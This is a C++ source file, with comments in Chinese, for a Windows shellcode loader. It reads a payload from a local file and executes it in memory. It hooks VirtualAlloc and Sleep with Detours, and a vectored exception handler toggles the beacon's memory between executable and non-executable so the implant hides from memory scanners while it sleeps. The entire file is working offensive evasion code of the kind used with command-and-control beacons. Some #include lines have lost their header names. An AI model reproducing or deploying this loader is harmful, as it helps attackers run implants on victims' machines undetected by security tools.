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#include "pch.h"

#include 

#include

#include 

#include "detours.h"

#include "detver.h"

#pragma comment(lib,"detours.lib")

LPVOID Beacon_address;

SIZE_T Beacon_data_len;

DWORD Beacon_Memory_address_flOldProtect;

HANDLE hEvent;

BOOL Vir_FLAG = TRUE;

LPVOID shellcode_addr;

static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;

//分配內存地址和大小

LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {

Beacon_data_len = dwSize;

Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);

printf("分配大小:%d", Beacon_data_len);

printf("分配地址:%llx \n", Beacon_address);

return Beacon_address;

}

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;

//設置新的sleep地址

void WINAPI NewSleep(DWORD dwMilliseconds)

{

if (Vir_FLAG)

{

   VirtualFree(shellcode_addr, 0, MEM_RELEASE);

    Vir_FLAG = false;

}

printf("sleep時間:%d\n", dwMilliseconds);

SetEvent(hEvent);

OldSleep(dwMilliseconds);

}

void Hook()

{

DetourRestoreAfterWith(); //避免重復HOOK

DetourTransactionBegin(); // 開始HOOK

DetourUpdateThread(GetCurrentThread());//列入一個在DetourTransaction過程中要進行update的線程，為了避免崩潰

DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //多次調用DetourAttach，HOOK多個函數

DetourAttach((PVOID*)&OldSleep, NewSleep);

DetourTransactionCommit(); //  提交HOOK

}

void UnHook()

{

DetourTransactionBegin();//解除截獲過程

DetourUpdateThread(GetCurrentThread());//列入一個在DetourTransaction過程中要進行update的線程，為了避免崩潰

DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);//撤銷對NewVirtualAlloc的hook

DetourTransactionCommit();//解除hook

}

size_t GetSize(char* szFilePath)

{

size_t size;

FILE* f = fopen(szFilePath, "rb");

fseek(f, 0, SEEK_END);

size = ftell(f);//ftell配合fseek計算出文件大小

rewind(f);

fclose(f);

return size;

}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)

{

unsigned char* p = NULL;

FILE* f = NULL;

size_t res = 0;

*size = GetSize(szFilePath);

if (*size == 0) return NULL;

f = fopen(szFilePath, "rb");

if (f == NULL)

{

    printf("Binary file does not exists!\n");

    return 0;

}

p = new unsigned char[*size];

// Read file

rewind(f);

res = fread(p, sizeof(unsigned char), *size, f);

fclose(f);

if (res == 0)

{

    delete[] p;

    return NULL;

}

return p;

}

BOOL is_Exception(DWORD64 Exception_addr)

{

if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)

{

    printf("地址符合:%llx\n", Exception_addr);

    return true;

}

printf("地址不符合:%llx\n", Exception_addr);

return false;

}

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)

{

printf("FirstVectExcepHandler\n");

printf("異常錯誤碼:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);

//printf("線程地址:%llx\n", pExcepInfo->ContextRecord->Rip);

if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)

{

    printf("恢復Beacon內存屬性\n");

   VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//設置Beacon_address所在內存區域設置為可執行模式

    return EXCEPTION_CONTINUE_EXECUTION;

}

return EXCEPTION_CONTINUE_SEARCH;

}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)

{

printf("Beacon_set_Memory_attributes啟動\n");

while (true)

{

   WaitForSingleObject(hEvent, INFINITE);//檢測hEvent事件的信號狀態,INFINITE表示函數將僅在對象收到信號時返回

    printf("設置Beacon內存屬性不可執行\n");

   VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);//將shellcode_addr所在內存區域設置為不可執行模式

    ResetEvent(hEvent); //設置事件hEvent為無信號狀態

}

return 0;

}

int main()

{

hEvent = CreateEvent(NULL, TRUE, false, NULL);//創建一個命名的或無名的事件對象

AddVectoredExceptionHandler(1, &FirstVectExcepHandler);//注冊向量異常處理程序，并返回異常處理程序的句柄

Hook(); //開始hook

HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);//創建線程，指向線程函數的地址Beacon_set_Memory_attributes

CloseHandle(hThread1);//關閉線程

unsigned char* BinData = NULL;

size_t size = 0;

char* szFilePath = ".\\test.bin";  

BinData = ReadBinaryFile(szFilePath, &size);

shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);//申請內存空間，返回首地址

memcpy(shellcode_addr, BinData, size);//從存儲區 BinData復制 size個字節到存儲區 shellcode_addr

VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//將shellcode_addr所在內存區域設置為可執行模式

(*(int(*)()) shellcode_addr)(); //執行shellcode

UnHook();//結束hook

return 0;

}